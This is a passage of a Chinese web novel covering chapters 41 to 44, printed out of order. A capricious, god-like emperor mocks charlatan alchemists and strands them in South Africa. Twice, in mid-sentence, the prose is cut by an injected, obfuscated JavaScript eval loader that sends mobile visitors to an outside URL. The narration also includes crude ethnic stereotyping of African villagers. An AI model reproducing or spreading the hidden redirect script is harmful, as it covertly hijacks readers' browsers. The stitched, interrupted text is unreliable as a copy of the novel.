他当方士是真的没什么门路了,他因为在家乡得罪了人,干脆就背井离乡编造了一个自己活了两千年的故事到处招摇撞骗。 本来是想要去骗那位旧帝的,但是没想到他还没有赶到开封,北荣就被灭了,于是他又只能蹉跎了十几年。 当年他看上去还脸嫩,跟别人说他年轻是因为他修道有成。 然而他现在四十岁,虽然也不算老,但脸上的皱纹让他有些话显得没什么说服力了。 虽然他能用话术忽悠过去,但是终究比不上直接用事实说话。 只是谢吾德一句话,就让他觉得忽悠不下去了,后面果然,谢吾德听他讲每一句话之后都要加一句“这样就能保证我只能活两千年吗”。 就像是兴冲冲地和人说“你看我牛逼不”,对方回了一句“你居然是牛”。 这种好像没什么问题,但是细究下来哪哪都是问题的对话实在是没法进行下去。 43.第 43 章 接下来还有一些人声称自己以前到过一些神奇的地方,内容基本参考《山海经》。 在谢吾德看来,这些人的想象力实在是受限,他们讲的故事明显都能看出这就是本土的故事衍生出来的东西,顶多再掺杂一些印度那边的神话传说。 对于其他人来说,这些故事听上去非常新奇,但是对于熟悉世界各国文化的人来说,就显得有点缺乏想象力了。 “跳过,下一个。” 接下来是金丹组了。 长生大道,金丹飞升。 谢吾德让他们把那些丹药拿过来。 余文彦没劝住,李真是个谢吾德不折不扣的狗腿,他不会说任何会让谢吾德感觉不高兴的话,谢吾德让他做什么他就做什么,他是谢吾德不折不扣的狗腿。 哪怕这件事情对谢吾德不利也一样。 谢吾德看着托盘上的那些丹药,一个个都是用精致的瓷瓶或者盒子装着,打开看了一眼,基本全都是绿豆大小的丸子。 谢吾德哗啦啦全倒出来,看的下面那些方士心疼地直抽抽。 这可真是暴殄天物! 他们这些方士不少都是相信自己炼的丹多多少少还是有点用的,之前有人吃死是因为那些人学艺不精,或者是没有摸索对路,总是得尝试的。 而且这些丹药都是用了上好的材料,都不便宜。 他们看向谢吾德的表情变得更加绝望了,谢吾德用笔扒拉这些丹药的样子就像是刚刚吃过的猫扒拉老鼠一样,他只是对这些东西十分好奇,他们这些人精都能看出来谢吾德只是想要见识一下金丹长什么样子。 谢吾德的眼睛亮晶晶的,把这些丹药拨弄得像是小弹珠一样。 亚夏:【我得提醒你一句,有的丹药里会加童子尿。】 谢吾德把笔丢在托盘上,屏住呼吸直接后仰。 不玩了,不玩了。 谢吾德都快炸毛了:【……你怎么才提醒我?】 亚夏的态度很严谨:【不太确定我的记忆有没有问题,你知道我的情况,所以搜了一下。】 这种时候不要这么严谨啊! 谢吾德想咬人,并且在某一瞬间怀疑亚夏是故意的,但是转念一想,却又觉得亚夏没必要这么做,因为他就是亚夏,亚夏虽然会看他不顺眼,但是在身体状况的共情方面是拉满的。 不然他也不会轻易地用被针扎了就拿捏住亚夏。 换个人大概就要嘲笑他了。 只有自己才清楚自己晕针的毛病有多么货真价实。 李真赶紧把托盘撤走,谢吾德嫌弃的表情已经很明显了。 没人知道谢吾德脑子里发生的交流,在其他人眼中大概就是谢吾德上一秒还有点兴奋,下一秒就忽然嫌弃这些东西了。 之前他们觉得谢吾德扒拉这些丹药的样子像猫,但是谢吾德这变脸的速度比猫都快。 在其他人眼中谢吾德这就是一次酣畅淋漓的发神经。 “行了。”谢吾德过了一会,觉得空气中被他拨弄出来的丹药灰尘已经完全散开了,他才拍了一下手,让这些人都安静。 “我听懂了,你们的意思是,你们这些人个个都身怀绝技?”谢吾德说道。 之前的方士莫名地从谢吾德的话语中感到了一丝阴阳怪气。 “好了,你们退下吧。”谢吾德让余文彦他们先离开。 谢吾德本来还想世家会不会有人想要害他,结果好像就是纯来添乱的,至少在这一阶段就是来添乱的。 谢吾德要是想见识到下一阶段的目标就要陪他们演,让他觉得他中招了,这样世家才会投入更多的资源来坑害他。 需要耗费脑子搞得人际关系太麻烦了,谢吾德拒绝。 他们是什么东西,还能让谢吾德陪他们演? 而且当皇帝很累的——来自完全没有努力的谢吾德。 余文彦有点担心地看着谢吾德,但他们想想又觉得,担心谢吾德实属是不必要的事情,于是便还算顺从地离开了。 林耀祖倒是有点失望,因为她还想继续吃瓜。 只不过别人都不敢提出意见,她也不敢提出意见。 林耀祖弹幕里的那些人也不太高兴,他们想要撺掇着林耀祖留下来。 【武宗肯定都已经看出了你非常不一样,为什么不和他把话说明白,让他给你一个留下来的机会呢?】 林耀祖觉得他们说得对,但是她不敢冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741117|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险。 这一群弹幕也就是看热闹不嫌事大,他们不敢做的事情,就希望别人来替他们做。 可是林耀祖有逼数。 谢吾德性格没那么稳定,甚至很多行为都很分裂,现代很多专家都觉得他应该是真的有精神病,而且刚刚谢吾德从兴奋到嫌弃都没用半秒的时间,这仿佛给他脑子有病增加了佐证。 她在这个世界被杀还会复活,但是她的这个直播系统在她穿越来的时候就警告她,如果谢吾德亲自杀死她的话,那她是真的会死。 她完全不敢作死。 林耀祖能够一直待在谢吾德身边,都已经算是她勇气可嘉了。 谢吾德等着他们都走了,才把目光重新转向了这些方士。 他把林耀祖赶走,不是担心自己泄露了自己是从另外一个世界的现代来的事情,而是想要先欲扬先抑。 现在就把这个谜底揭露了多没意思,还是等着以后给她来一个更大的震撼。 虽然不知道在林耀祖那个世界的历史上自己是什么样子的,但是肯定有很多人信奉他,先让他们误会自己相对普通就好了。 方士们看着谢吾德打量他们。 这个看上去还有一些少年感的皇帝,长得实在是过分漂亮了。 在他走下来靠近他们的时候,这些方士能够非常清晰地看到谢吾德那双蓝色的眼睛。 谢吾德下来的时候有着清晰的鞋跟落地的声音,哒哒的声音就像是某种倒计时一样敲在了他们的心底。 他的眼睛就完全没有眨动一下,他就像是正准备捕猎的老虎一样专注。 谢吾德还是很爱笑的,因为他的乐子很多,不像亚夏和温特那样有着二十一世纪现代人类较高的道德水平。 谢吾德只要一想到他接下来想要做什么,他就忍不住勾起了嘴角,但是方士们看谢吾德的眼神里仿佛带上了血腥味。 他在方士们身后站定。 谢吾德明明身为皇帝,但是却喜欢站在别人的身后,就像是野兽准备扑食。 他们忍不住有点发抖,像是食草动物一样想要逃跑,但是站在他们身后的谢吾德却截断了他们的后路。 可惜,他们哪里也去不了。 44.第 44 章 谢吾德让他们往后面走:“这样啊,我大概已经明白了你们的能力,现在我就要考验你们一下。” 那群方士不明就里,但谢吾德在他们身后像是在驱赶着羊群一样。 方士被一路赶到了一个小院里,他们这才感觉到谢吾德喜欢站在人后面的习惯有多讨厌——根本就没办法找到机会跑掉。 谢吾德还会催他们快点走。 谢吾德人高腿长,而他们这些人大多出身不显,平均身高连一米六五都没有,他半步能顶他们一步了。 “你们这么有本事,一定能够做到许多常人难以做到的事情吧。”谢吾德把揣在袖子里,然后用脚把门关上了。 这个院子没有人。 谢吾德能够感觉到哪里有人。 他不觉得这个世界的人类是真正的人类,关于这个话题,在哲学上能让人吵上数个来回,但是从基因层面来看,他们就是人类,法网最基本的开放裁定标准就是和亚夏的基因相似性,这个世界人类的法网使用权限被亚夏锁了,但是只要他们在思考,就能够被谢吾德感应到。 这附近是没人的。 谢吾德很确定。 因为他以前就在这里住过。 宫人还是忌讳他的存在,到现在都绕着这个地方走。 方士们集体沉默了。 人类只是一种很聪明的动物,自然也有着动物们在面对生死危机的时候的敏锐直觉。 谢吾德的恶意已经不是溢出来了,而是直接糊了他们一脸。 他们知道自己如果点头,谢吾德绝对会出一些极端为难人的条件来折磨他们,但是他们又从谢吾德的表情中看出来,只要他们敢说一个不字,那这些方士就会立刻被他砍下头颅。 早死还是晚死? 这个问题并不难选择。 总之先活下来才更有可能有一线生机。 抱着这个想法,他们硬着头皮点头了。 谢吾德像是得到了一个令人满意的答案一样微微颔首,然后打了一个响指。 周围的画面倏地改变,他们从寂静的皇宫中,一下子出现在了一片陌生的空地上。 周围还有一群皮肤黝黑到完全无法用这是晒黑来解释的人,方士们大多都见多识广,他们觉得这看上去像是典籍中记载的那些昆仑奴。 但是他们看到的都是那些海外的商人把人卖来这里,哪里见过他们的老家。 这群方士们惊呆了,然而出现在他们眼前的一切是那么真实。 有人腿一软,跪坐在地;有人嗫嚅着嘴唇,似乎在说着方言粗话;还有人的双手像是得了帕金森一样止不住地颤抖。 那群人看到突然出现的人,立刻叽里呱啦地叫了起来,然后哐哐地朝他们虔诚下拜。 他们精准地看出了这群人中谁是最重要的那一个。 就算不看谢吾德那镇定的表现,光是看脸和气度,就能够感觉他是最好看的。 跨种族之间是有审美差异的,但是却仍然有着一些共同的评判标准。 谢吾德听不懂他们在说什么,他也无意去探究他们表达的内容,他只是微微偏头看着那群方士。 他们已然完全无法保持住之前高深莫测的神棍模样了。 他们结结巴巴地问谢吾德:“陛下,这里是哪里?” 谢吾德捏着自己的下巴,笑眯眯地说:“你们听说过燕子南飞吗?” 方士们战战兢兢地看着谢吾德,就如同看见一个神祇。 他们只是来忽悠谢吾德的,他们以为什么都见过了,但是这场面还是真的没见过。。 有一个方士胆子还是比较大的,他恭敬地行礼,然后说道:“陛下恕罪,小的不知。” 谢吾德立刻笑着说道:“这里是南非。” 谢吾德讲了一个冷笑话,南非的企鹅大概都想回到老家南极了。 但是他的冷笑话水平也就比德国人好一点,很多人都不明白他的笑点。 “南飞?” “南非。” 这是牛头不对马嘴的对话,但是谢吾德看他们口水都要从嘴边流下来的样子就笑得前仰后合。 亚夏和温特也没憋得住,别人不懂谢吾德的笑点,可是自己太懂了,但是他们的道德不允许他们笑。 这群方士做的坏事在他们看来还不至于流放非洲。 但是谢吾德可不会按照法律条款来。 这群方士是不知道什么叫非洲,更不知道什么是南非。 可能身处南非的人,也不知道自己现在在南非。 因为所谓的“亚非欧”不过是罗马对这个世界的划分。 以谢吾德的视角来看,这种划分十分搞笑,完全是以欧洲为中心进行划分。 别说是文化了,在亚洲,人种都有差别。 但谢吾德倒是不介意叫一叫南非。 方士们看着谢吾德笑得快岔气了,他们确定这里大概是一个叫“南飞”的地方。 他们哪里知道在哪,但他们看这里的人和他们长相的巨大差别,他们知道这里绝对离中国非常遥远。 方士们觉得事情有点不太妙。 谢吾德这是在报复他们。 方士们心里有数。 哪有什么正直的人会引荐方士呢? 他们这些能混到锦京的方士都清楚这其中的弯弯绕。 肯定是世家心里憋着坏,想要让他们方士把皇帝拐到歪路上。 方士和世家不一定站在一面,方士被世家举荐只是因为他们在一些事情上可以合作,但是从谢吾德的角度来看,他们是谢吾德的敌人,是要来害谢吾德的。 那谢吾德会因为他们并不完全是世家的人而对他们有好脸色吗? 肯定不是, 谢吾德一看就是那种很会搞连坐的人。 但是他们还是抱有一些不切实际的希望。 万一谢吾德是那种不拘小节的高人呢? 这种高人怎么可能和他们这些小角色计较呢? 只是想要整人心态的谢吾德:“你们都说了你们很厉害,既然你们本事那么大,那你们自己回去吧。” 谢吾德看着这群非洲的土著,挥挥手让他们不要离他太近。 有洁癖而且嗅觉灵敏的人受不了体味重的人,也幸亏他现在是站在上风位,不然他真的没办法在这里待。 谢吾德可以净化这附近的空气,可是他为什么要这么干。 难道不应该是让这群人回避他吗? 谢吾德有一种十分自然的上位者心态。 “陛下您说什么?”几个方士十分不可思议地问道。 “让你们自己回家呀。”谢吾德揣着手,欣赏着这群人的表情,“你当我是闲得无聊带你们玩这一趟?” 谢吾德挥挥手,然后说道:“我先走了。” 那群方士瞪大眼睛,也不管谢吾德会不会杀掉他们,他们径直地扑到谢吾德身边,然而谢吾德的反应速度怎么能是他们这群普通人类相比的? 谢吾德在方士们扑过来前一秒就消失在了原地。 方士们扑了个空,扑得满身尘土。 方士们与土著们们的表情也很奇怪。 这群土著不理解具体发生了什么事,但这并非是因为他们愚蠢。 人类不分种族,平均智商都是一样的,毕竟在生物学分类上是不存在人种。 他们只不过因为文化和知识储备量才导致会给人一种聪明或者愚蠢的感觉,但是在看人脸色和感知现在的情况方面,人类有着自己的诀窍的。 就比如他们能够看出来,这群人中掌控一切的伟大存在已经走了,那身红色鲜亮的干净衣服给他们留下了深刻的印象。 生活在南非的人几乎这辈子都没有机会见过丝绸,也很少能看到这么鲜亮的颜色,就连部落长老都没有见识过这样的东西。 他们在一旁窃窃私语,觉得这群突然出现的人很可能是被突然出现的神明大人给抛弃了。 难道他们是什么罪大恶极的人?还是说这群人是神给他留给他们的指引? 他们讨论了良久,决定先做一点事情来试探一下他们。 他们拿着手中的长矛把这几个方士围住。 方士们的第一反应是恐惧。 任谁被人丢到这种人生地不熟、甚至语言不通的地方都会感到害怕。 二十一世纪,黑叔叔的语言不一定是不通的,但是在这个时代,方士和这群土著的语言是真的一点都不通。 只要白令海陆桥不出现,那这里就是他们步行能抵达的最远距离。 生死危机中有大智慧,这群方士见过很多大场面,甚至有的人是从萧人手中逃离,尸山血海都跑过来了,他们看这里似乎只是一个小村子规模,瞬间就定下心了。 他们手上还有一些用来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750022|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装神弄鬼的东西,当初那个胆子最大的方士手一抖,符纸迎风点燃,他鼓起脸颊,火龙便猛地腾起。 这招对谢吾德没用,到那时对这些普通的方士还是挺有用的。 在宫中,他还要收敛一点防止烧到不该烧的东西,但是在这里,他就不需要客气了。 那群土著便像是他们之前被谢吾德吓到那样,甚至有太过于靠前的人被燎到了头发。 这群人一定是巫师吧? 部落里的巫师也被惊动,他挠破头都没想到这群人是怎么做到的这点。 . 谢吾德回到崇政殿之后就听到余文彦求见。 谢吾德正在吃奶油蛋糕,这个蛋糕外面撒着诱人的草莓干,上面装饰着葡萄,用叉子叉下一块,柔软的蛋糕胚让人口水都要从嘴角流出来了。 暂且被称为“小白”的白猫翘着尾巴蹭着谢吾德的小腿,想要分一杯羹。 谢吾德掏出了一碟没有加糖的奶油,直接放在地上,顺便还放了一块肉。 小白嗷呜嗷呜地吃得像是猪一样。 余文彦来是想要谢吾德看看他策划的登基大典的流程有没有什么问题。 谢吾德托腮:“放一边吧。” “陛下,这件事情您还是再看看吧,您有什么不满意的地方可以留出时间修改。”余文彦直接道。 在谢吾德面前他有话直说,谢吾德从来都不理会言下之意。 除非是奏折。 余文彦听说最近朝中有人被谢吾德气吐血了。 不是没有人怀疑这奏折根本就是别人帮谢吾德代批,但是就这奏折中那让人血管喷张的感觉却是对的。 大家都自诩文化人,即使是皇帝在朝中也得仰仗他们这些文人,说话做事都要留几分,除非是皇帝想要整人或者这个臣子触碰到了皇帝的底线,不然根本没有谢吾德这种直接把人讽刺得让人厥过去的操作。 锦京最近医家的生意不是一般得好。 如果谢吾德和这些臣子有一个不改变自己的行为的话,那早晚得有人被谢吾德发回的奏折活活气死。 “哦,你看着办吧。”谢吾德发出了万恶老板的声音。 余文彦:“……陛下如此信任我?” 谢吾德认真思考了一下,然后给出了一个回答:“倒也不是,主要是你要乱搞我完全可以不按照章程来嘛。” 余文彦血压飙升,眼前一黑:“陛!下!” 他怕的就是这个啊! 以谢吾德性格和神奇的脑回路,鬼知道他的雷点是什么,他会因为什么感到不爽。 他和谢吾德之间有代沟啊! “我跟你说不祭祀乱七八糟的东西你删了吗?” “……天地先祖不是乱七八糟的东西,但是我删了。”余文彦坚持纠正。 “没有我需要跪拜的东西吧?”谢吾德含着叉子问。 “……您是陛下。” “所以没有?”谢吾德嚼嚼嚼,顺便用脚勾着猫玩。 “没有。” “没有有损我形象的东西吧?” “没有。” “那不就行了。”谢吾德让AI检查一下就立刻能够知道结果,但是他就不看,纯气人。 也不知道和谁在犟。 余文彦深吸了几次,他又很多话想要说,但是最后还是没说出来。 因为谢吾德是有点在乎,但是不完全在乎。 在这方面说他是完全没有意义的。 余文彦只能和谢吾德妥协了:“那陛下打算什么时候了解流程呢?” “到登基那天你再说吧。”谢吾德完全没放在心上。 那些无聊的部分让亚夏代班,亚夏不记,这群太监还能不记? 余文彦深吸了几口气,让自己镇定下来,然后似乎只是随口一问:“陛下,那群方士如何?” “你觉得那群方士怎么样了呢?”谢吾德的声音十分温柔。 这种温柔听着让人脊背有点发凉,因为这种说话方式可绝对不是谢吾德的习惯。 谢吾德说话的语气和温柔没有半点关系,有时候甚至显得有点冷硬。 余文彦被谢吾德搞得毛骨悚然的,但是还是问:“陛下,他们还活着吗?” “当然死了。”谢吾德当即选择满嘴跑火车,“你也看出来了,那群家伙就是骗子,我把他们抽筋扒皮之后偷偷地埋了起来。” 40-50 第41章 谢吾德他近视眼看不清,但是看站位似乎只是个小角色。 这样一个小角色跳出来,十有八九是有人指使。 这么远他听得那么清楚,多少也算是的铁打的嗓门了。 谢吾德都是让太监帮他喊的。 他嗓子可没那么好,提高音量多说几句话当天嗓子就报废了。 “嗯。”谢吾德微微点头。 下面的人是肯定看不见的,但是旁边的人能够清清楚楚地看见,于是太监们便威严地替谢吾德让他说。 那个人谢过了谢吾德,然后便是一顿歌功颂德。 谢吾德打了一个哈欠,自然地扒拉着还有什么电影可看。 如果是亚夏站在这里的话,他肯定会尴尬到不知道手脚放在哪里。 谢吾德被各种花样吹马屁吹多了,就算别人吹的谢吾德和谢吾德本人有极大的差别,谢吾德也不会脸红心跳的,全部都尽数收下。 没错没错,他就是这么完美。 这个世界一切美好的形容理应是给他的。 谢吾德不喜欢和人玩心眼,也不会察言观色,但是他挑中的那些人都是和谢吾德互补的。 可能这种人也很喜欢和人玩心眼,但是谢吾德一般神龙见首不见尾,喜欢安静独处,谢吾德也很难见到这群人把心眼用到他身上。 但是机会是给有准备的人的。 谢吾德懒得动脑,所以谢吾德让那两个人打了一架。 这种不明不白的瓜他吃不明白,那就用拳头决定一切。 谢吾德喜欢耳根清静一点,而且他是个喋血观众. 谢吾德看着那个人,身旁的太监已经知道谢吾德完全不认人,他只记事,他和谢吾德说这是兵部的一个小官。 是兵部的人。 谢吾德想了想,他知道有问题,可是世家之间的关系错综复杂,虽然兵部好像主要是琅琊王氏掌控,但是其他世家也占有很重要的地位,想要搞清楚这个人的身份可要费一番功夫。 这也很正常。 他对朝堂的了解可能还不如穿越了才几天林耀祖。 两耳不闻窗外事,一心只搞人心态的谢吾德能对这个世界有多少了解? 他离那种“我不知道我是谁,也不知道我在哪,我只知道我要大开杀戒”的玩家心态很近了。 谁说当皇帝就一定要玩经营类游戏的? 谢吾德其实更想找个借口大开杀戒。 当然,现在没借口,谢吾德先拖,等着憋个大的。 谢吾德听到这个兵部小官说道:“陛下,臣年轻时也曾有云游四海的想法,认识了一群奇人异士。臣斗胆向陛下举荐这些有才之士。不知陛下意向如何?” 谢吾德总算抬眼。 “奇人异事?” 在这种地方提到这种话,那十有八九是那些跳大神的人。 谢吾德有点轻蔑地想,也同样轻蔑地哼了一声。 这肯定是世家搞的事情,谢吾德觉得他们认为谢吾德会被这种事情骗到对他完全就是一种侮辱。 把他当什么了? 【哼。】亚夏现在也在线上。 两个人同时嗤笑出声。 谢吾德觉得除了他之外的所有存在都不配被称作神明,而亚夏是个唯物主义者,不相信人类幻想出来的故事。 虽然法网工作的原理基本可以用“幻想成真”来形容,人类和其他智慧生命也曾幻想过除了谢吾德之外的神明,但是亚夏除了干不掉谢吾德和被谢吾德强行转化为神明的温特之外,其他的神明都直接被他在诞生中被掐死在了襁褓之中。 他们一直都瞧不起神明。 温特:【在瞧不起人这种事情上达成了统一吗?】 【你也哼了。】亚夏直接道。 谢吾德对谁都话多,亚夏只对自己话多。 只要不涉及一些三观的讨论,谢吾德和自己的本体他们的观点基本一致。 有点嫌弃。 【把这群世家的人全吊路灯上肯定有冤枉,但是隔一个吊死一个肯定有冤枉的。】温特说道。 亚夏没说话。 不是不赞成,他只是觉得这话不该说,他应该保持理智,克制自己的兴奋。 想要没道德很容易,但是想要有道德,那就不太容易了,他得保持着高道德水平才能保证自己不会如同谢吾德那样放飞自我。 这个世界是亚夏和温特合作,组建了一个研究小组制造的,他们对未来不太熟悉,但是对于这个世界过去的各种设定了如指掌。 【不过想想,这可是方士诶。】谢吾德转念一想,忽然又有一点期待了。 就像是听到了“有人上当受骗不是因为不会被骗到,而是没有被针对性地骗”之后,有些人就会蠢蠢欲动,好奇那些骗子会用什么样的话术来骗自己。 谢吾德就有点来劲了:“行,让我见见他们。” 这群世家傲慢得要命,谢吾德讨厌他们,但有时候他讨厌的人也会给他带来一些乐子。 亚夏和温特不想吭声。 谢吾德存在的时间和本体亚夏一样长,但是谢吾德的一个最为顽固的属性就是永恒的神明,他是不变的。 长脑子什么的是不存在的。 不过谢吾德足够强,倒是不用担心他会出事。 在这些人能带来乐子的时候,谢吾德对他们的态度还是很好的。 余文彦看着谢吾德,感觉有点头疼。 刚刚的朝会上,他们讨论了那么多事情,他替谢吾德挡下了多少明枪暗箭,他感觉谢吾德好像完全没注意到他作出了什么努力,甚至都没抬眼看下面一眼。 就像谢吾德不知道他的名字一样。 现在别人要搞事了,他来劲了。 余文彦一直都觉得,老板这种生物只要在一旁坐着就好,重要的事情交给他们专业的人来做。 很多时候,皇帝是在帮倒忙。 最典型的例子就是邱将军。 邱将军何等忠心耿耿的人,但是他就是因为太能打了,把很多事情消耗在朝堂斗争和让皇帝安心上。 但谢吾德真的什么都不管,余文彦又开始怀念起已经被谢吾德杀死的二皇子。 二皇子活着的时候,余文彦对他还算忠诚,但对二皇子只是忠诚算不得特别有好感。 比起谢吾德,二皇子的母亲是宠妃,他自己也是皇帝相当受宠的儿子。 虽然谢珖对任何一个儿子都没有多少真心,他和自己的亲爹旧帝一样都是个刻薄寡恩的人,但至少在明面上,二皇子过得最不错。 二皇子的脾气也因此是除了谢吾德之外最大的。 二皇子给过余文彦很多好处,让他能够赡养自己的母亲,但是同样的,余文彦之前也被二皇子打压过很多次,有时候明明是二皇子做错了,他还要给人赔礼道歉,这样才能分得出上下尊卑。 几次之后,余文彦的确会忠诚于二皇子,但是他除了办事之外还得再思考一下二皇子会怎么想。 他以前也不是没有这种意识,只是他也没想过那些高高在上的皇亲国戚和那些普通人一样都如此愚蠢。 那种时候,余文彦就会想,要是二皇子能在一旁什么都不做,只是给他们提供资源该多好,但真遇到了谢吾德这种什么都不做的老大,他又觉得还是二皇子好一点。 好歹二皇子还会偶尔给一点情绪价值。 谢吾德是真没把他放在眼睛里。 只能说人的欲望是永远没办法满足的。二皇子在黄泉之下也会嘲笑他迟来的忠诚不如狗. 在谢吾德同意之后,那些方士几乎是下一秒就出现在了殿中。 谢吾德觉得自己的脾气还没急到那种下一秒就见人的程度,朝堂的主要构成就是各种世家,他们根本不会主动讨好谢吾德,所以他们就是在示威。 皇宫不仅是上朝的地方,同样也是皇帝的家。 世家能够让人这么快就出现基本就意味着在这之前他们就安排人进皇宫了。 这一次是方士,下一次就有可能是刺客。 然而只有谢吾德发现了这件事情吗? 并不是,就算是废物如谢珖,他也有政治的敏感性,他们是不敢往下深挖。 很多时候世家就像是偷偷跑进别人房子里偷窃的小偷一样,在被屋主喊住的时候,他们的第一反应是逃跑。 然而谢珖不敢动手的理由也很简单。 因为他不知道自己的力量很大可能都无法直接处决掉世家,世家是个小偷,但是这个小偷满身腱子肉。 万一他没能让世家忌惮,那世家这个小偷就有可能恶向胆边生,直接反杀掉谢珖,甚至可能拿到废立之权。 双方之间的力量对比往往都不摆在明面上。 皇帝不知道自己的力量是否绝对能够控制世家,世家的力量也不敢保证自己会不会被皇帝狠狠坑一把。 他们双方彼此都忧心自己会在斗争中漏出属于自己的破绽。 但是在爱谢吾德面前,世家就像是蜘蛛一样,对谢吾德没有什么杀伤力,但是够恶心。 谢吾德注意到了,但是不太管这件事情。 太嫌弃的东西就丢掉。 这个皇宫对于他来说可不算是他的家,这里只是他的游乐场。 游乐场的工作人员说想要给他展示一件东西,他巴不得对方能立刻把东西拿出来,不需要他在一旁等太久。 游乐园不是私有的算是常识,而且谢吾德除了课本之外是二手的,其他的东西他都喜欢用全新的。 皇宫也是如此。 谢吾德想要建一个新的皇宫。 谢吾德不是一个常规的皇帝,也无法用任何用来形容常规皇帝的词来形容谢吾德,但是谢吾德现在的确展现出了一些封建皇帝的毛病,比如说想要大兴土木。 第42章 锦京这个名字是后来改的,对于谢吾德来说,这个城市更熟悉的名字是杭州。 这里是妥妥的南方,甚至都不是秦岭淮河以南,而是长江以南了。 谢吾德适应的是北方干燥环境。 锦京冬天也不下雪,没有下雪的冬天还算是冬天吗? 如果不是温特在冬天的时候把谢吾德拉到别的世界去玩雪,谢吾德都考虑在湖心亭堂堂复刻“湖心亭看雪”。 至于强行让锦京下雪会死多少人? 只要谢吾德自己乐意,他不介意死人的。 他当年学湖心亭看雪的时候可没想过这些问题,他现在也不会思考这种事情的。 没有下雪的冬天,就像是珍珠奶茶里面没有珍珠一样,总感觉少了点什么。 迁都,一定要迁都。 谢吾德不愿意处理这事也是打算等着把新都城建好,到那个时候,他们过去在宫中安插的那些钉子,一瞬间就会化为乌有。 方士们很紧张,他们不太确定自己能不能拿捏住谢吾德的性格。 他们清楚自己有可能是被人当枪使了,但他们干这一行的就要有这方面的觉悟。 正常人谁会向皇帝献方士的。 他们单独面见谢吾德的时候,谢吾德已经散朝了,他留下的几个人都是之前比较熟悉的,比如“那谁、那谁、那谁和那谁”。 余文彦绝望地意识到,谢吾德恐怕是真的没有记住他的名字。 “那谁,那谁,那谁和那谁”分别是余文彦、李真、林耀祖和尔雅。 谢吾德目前为止只记住了林耀祖和尔雅的名字。 不是他重女轻男,而是林耀祖和尔雅这两个人的名字都十分有特色,而且余文彦问过他们两个的名字。 李真平平无奇,余文彦好像都没说他的名字。 谢吾德觉得叫错名字很让人尴尬,既然记不住,那就不记了,又不是必须喊名字对方才能够明白喊的是自己。 方士们紧张地看着谢吾德。 作为他们未来的服务对象,他们自然要了解谢吾德,但了解来了解去,这都不是一个让人很能够安心的皇帝。 “你们就是方士?”谢吾德坐在桌子上,他翘着腿,双手撑在桌面上,然后他发现这个姿势不太方便他保持平衡,才把腿放了下来,他也也没有安分,而是晃着自己的腿。 这群方士都是一等一的善于揣摩别人心意的人。 他们能够被举荐过来都是骗术界的大师,别人一句话的语气就能让他们琢磨出很多东西。 谢吾德的心思实在是太好猜了, 他一句话就让这群方士猜到了这个人根本就没把他们放在眼睛里。 那群世家说的陛下喜好玄修不过是他们的一面之词,至少谢吾德喜欢的方式完全不常规。 林耀祖的直播弹幕已经爆炸了。 林耀祖也稍稍调整了一下自己的位置,调整出一个最佳方位。 她还想着攒攒积分,换个双机位。 这个系统还很贴心,点击、打赏甚至是因为视频延伸出来的各种论文也可以转化成她的积分,这些积分可以换各种东西来提升直播效果…… 虽然这有让驴子自己干活买拉的磨的嫌疑,但是这些积分最后都可以换金子,只要浏览器找一下金价,拿根树枝在地上划拉一下就知道这绝对比普通的工作划算,甚至还可以交五险一金。 她后来好好地翻了一下系统协议,发现她甚至可以回去,只不过会挑新人来取代她。 林耀祖觉得她要是放弃才是真傻了。 这是独一份的。 那些来看直播的人都很兴奋,他们想要知道谢吾德在史书中种种神奇的能力是不是真的。 正如同胡增鑫之前在脑子里悄悄逼逼的那样,谢吾德是有信徒的。 只不过在未来的这个国家禁止在公开场合传教,而且因为谢吾德搞出的这一堆烂摊子,让许多人都有了心理阴影。 虽然没人敢直接把和谢吾德相关的信仰打成邪神,但是的确算是创伤级别的历史事件,这就导致反而这个信仰诞生的地方,反而是那个时代里最不信仰谢吾德的国家了。 但是传统是会传递下去的,因此许多人在知道了林耀祖这个直播之后,就跑过来想要亲眼见证一下自己神明的神迹了。 只不过他们那些过分虔诚的弹幕是会被系统自动屏蔽掉。 每一个人都十分期待接下来会发生的事情,接连不断的打赏几乎占据了绝大多数人的屏幕。 林耀祖也不感谢打赏,不是作为全网唯一无代餐穿越主播,而是因为边上有人看着,随便开口是会被当成疯子的。 她是穿越到历史中,不是穿越到游戏中,其他人都在看着呢。 她只是希望自己能在谢吾德面前刷刷存在感,而不是刷爆存在感. 首先出场的是胆子最大的方士,他的手一滑,便从袖子里掏出了一张符纸。 他往前用力一挥,符纸便瞬间点燃。 这一手就让留下来的人瞪大了眼睛。 即使是林耀祖知道这上面肯定是老套地抹了白磷的人也忍不住为这视觉体验赞叹一声。 白磷的燃点虽然只有四十度,但是燃烧起来外焰温度可有八百度,敢这么做的人完全就是艺高人胆大。 这还没完,这方士深吸了一口气,脸颊一鼓,竟吐出一道火龙来。 除了谢吾德和林耀祖之外,其他人都被吓了一大跳,就连余文彦也被惊得后退半步,余文彦离得太近了,很难不被吓到。 方士表演完没有着急动作,而是整理了自己的衣服之后才躬身行礼:“陛下,此乃控火之术。” 谢吾德想了想指着那个方士的衣袖,淡淡说道:“你的衣服着火了。” 方士立刻低下头,就在他的目光顺着谢吾德的手指落在他的衣角的那一瞬间,火焰燃烧了起来。 林耀祖的瞳孔放大。 她确定自己刚刚看清了。 直播比她的肉眼还要清楚。 在短暂的沉默之后,弹幕爆发了。 